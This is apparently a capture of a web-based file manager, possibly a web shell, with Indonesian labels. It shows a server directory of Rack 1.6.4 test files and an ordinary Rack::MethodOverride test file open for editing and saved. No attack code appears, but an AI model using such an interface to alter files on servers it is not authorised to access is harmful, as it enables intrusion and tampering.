PATH: //opt/alt/ruby23/lib64/ruby/gems/2.3.0/gems/rack-1.6.4/test
FILE_BARU
CREATE
FOLDER_BARU
MKDIR
UPLOAD_FILE
GO
[ .. KEMBALI ]
📁 builder/
X
📁 cgi/
X
📄 gemloader.rb
↓
X
📁 multipart/
X
📁 rackup/
X
📁 registering_handler/
X
📄 spec_auth_basic.rb
↓
X
📄 spec_auth_digest.rb
↓
X
📄 spec_body_proxy.rb
↓
X
📄 spec_builder.rb
↓
X
📄 spec_cascade.rb
↓
X
📄 spec_cgi.rb
↓
X
📄 spec_chunked.rb
↓
X
📄 spec_commonlogger.rb
↓
X
📄 spec_conditionalget.rb
↓
X
📄 spec_config.rb
↓
X
📄 spec_content_length.rb
↓
X
📄 spec_content_type.rb
↓
X
📄 spec_deflater.rb
↓
X
📄 spec_directory.rb
↓
X
📄 spec_etag.rb
↓
X
📄 spec_fastcgi.rb
↓
X
📄 spec_file.rb
↓
X
📄 spec_handler.rb
↓
X
📄 spec_head.rb
↓
X
📄 spec_lint.rb
↓
X
📄 spec_lobster.rb
↓
X
📄 spec_lock.rb
↓
X
📄 spec_logger.rb
↓
X
📄 spec_methodoverride.rb
↓
X
📄 spec_mime.rb
↓
X
📄 spec_mock.rb
↓
X
📄 spec_mongrel.rb
↓
X
📄 spec_multipart.rb
↓
X
📄 spec_nulllogger.rb
↓
X
📄 spec_recursive.rb
↓
X
📄 spec_request.rb
↓
X
📄 spec_response.rb
↓
X
📄 spec_rewindable_input.rb
↓
X
📄 spec_runtime.rb
↓
X
📄 spec_sendfile.rb
↓
X
📄 spec_server.rb
↓
X
📄 spec_session_abstract_id.rb
↓
X
📄 spec_session_cookie.rb
↓
X
📄 spec_session_memcache.rb
↓
X
📄 spec_session_pool.rb
↓
X
📄 spec_showexceptions.rb
↓
X
📄 spec_showstatus.rb
↓
X
📄 spec_static.rb
↓
X
📄 spec_tempfile_reaper.rb
↓
X
📄 spec_thin.rb
↓
X
📄 spec_urlmap.rb
↓
X
📄 spec_utils.rb
↓
X
📄 spec_version.rb
↓
X
📄 spec_webrick.rb
↓
X
📁 static/
X
📄 testrequest.rb
↓
X
📁 unregistered_handler/
X
SAVING...
BERHASIL DIUBAH!
EDITING: spec_methodoverride.rb
require 'stringio' require 'rack/methodoverride' require 'rack/mock' describe Rack::MethodOverride do def app Rack::Lint.new(Rack::MethodOverride.new(lambda {|e| [200, {"Content-Type" => "text/plain"}, []] })) end should "not affect GET requests" do env = Rack::MockRequest.env_for("/?_method=delete", :method => "GET") app.call env env["REQUEST_METHOD"].should.equal "GET" end should "modify REQUEST_METHOD for POST requests when _method parameter is set" do env = Rack::MockRequest.env_for("/", :method => "POST", :input => "_method=put") app.call env env["REQUEST_METHOD"].should.equal "PUT" end should "modify REQUEST_METHOD for POST requests when X-HTTP-Method-Override is set" do env = Rack::MockRequest.env_for("/", :method => "POST", "HTTP_X_HTTP_METHOD_OVERRIDE" => "PATCH" ) app.call env env["REQUEST_METHOD"].should.equal "PATCH" end should "not modify REQUEST_METHOD if the method is unknown" do env = Rack::MockRequest.env_for("/", :method => "POST", :input => "_method=foo") app.call env env["REQUEST_METHOD"].should.equal "POST" end should "not modify REQUEST_METHOD when _method is nil" do env = Rack::MockRequest.env_for("/", :method => "POST", :input => "foo=bar") app.call env env["REQUEST_METHOD"].should.equal "POST" end should "store the original REQUEST_METHOD prior to overriding" do env = Rack::MockRequest.env_for("/", :method => "POST", :input => "_method=options") app.call env env["rack.methodoverride.original_method"].should.equal "POST" end should "not modify REQUEST_METHOD when given invalid multipart form data" do input = <<EOF --AaB03x\r content-disposition: form-data; name="huge"; filename="huge"\r EOF env = Rack::MockRequest.env_for("/", "CONTENT_TYPE" => "multipart/form-data, boundary=AaB03x", "CONTENT_LENGTH" => input.size.to_s, :method => "POST", :input => input) begin app.call env rescue EOFError end env["REQUEST_METHOD"].should.equal "POST" end should "not modify REQUEST_METHOD for POST requests when the params are unparseable" do env = Rack::MockRequest.env_for("/", :method => "POST", :input => "(%bad-params%)") app.call env env["REQUEST_METHOD"].should.equal "POST" end end
SIMPAN PERUBAHAN